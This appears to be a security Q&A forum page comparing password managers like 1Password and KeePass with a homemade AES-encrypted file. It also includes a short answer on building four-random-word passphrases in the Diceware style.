Is 1Password more secure than an AES encrypted text file?

Which is faster, a Fiat 500 or a V12 Ferrari engine ? The Fiat 500 sure is a rather minimal car... but at least it has wheels. The Ferrari engine, however magnificent it may be, is still "just an engine"; put it down on a road and it will be no more mobile than a boulder. Therefore, the question does not really make sense.

And so is yours. AES is a block cipher, a mathematical object which alone does not achieve any kind of security. Products like 1Password and KeePass use AES and other algorithms into elaborate constructions which try to ensure confidentiality and integrity of the database of passwords. In that sense, they can be compared with "AES" no more than a Fiat 500 is comparable to a lone engine.

Encrypting even a simple file of passwords, with a master password, requires some care. The master password must be converted into an encryption key; this is the realm of password hashing and it is not simple. Then, the AES should be used with a mode of operation, which has its own rules (IV selection, padding...). Preferably, some sort of MAC is needed, and combining symmetric encryption and a MAC is a subtle matter. Last but not least, when you encrypt and/or decrypt a file, you tend to produce temporary files which will be written on the harddisk, with the clear file contents in them. Deleting files is not sufficient to ensure data destruction. Decrypting the file "in memory" and never letting the data go to the disk can be tricky, especially in the presence of virtual memory.

All of this amounts to this conclusion: while a file full of passwords, encrypted with AES, can be handy, there are a lot of details to take care of, and that's hard work. Most of existing products is about doing such work. You can do it yourself, but it won't be as immediate as slapping together a few OpenSSL-based scripts.

Then products like KeePass also provide some extra features which are not to be despised; see the list.


Step 1: Find a large dictionary file

Step 2: Feed that dictionary file into a RNG written in python or any other scripting language.

Step 3: Concatenate four random words in this manner.

Step 4: You got your secure and pronounceable password.

Obligatory XKCD.

See also: Diceware.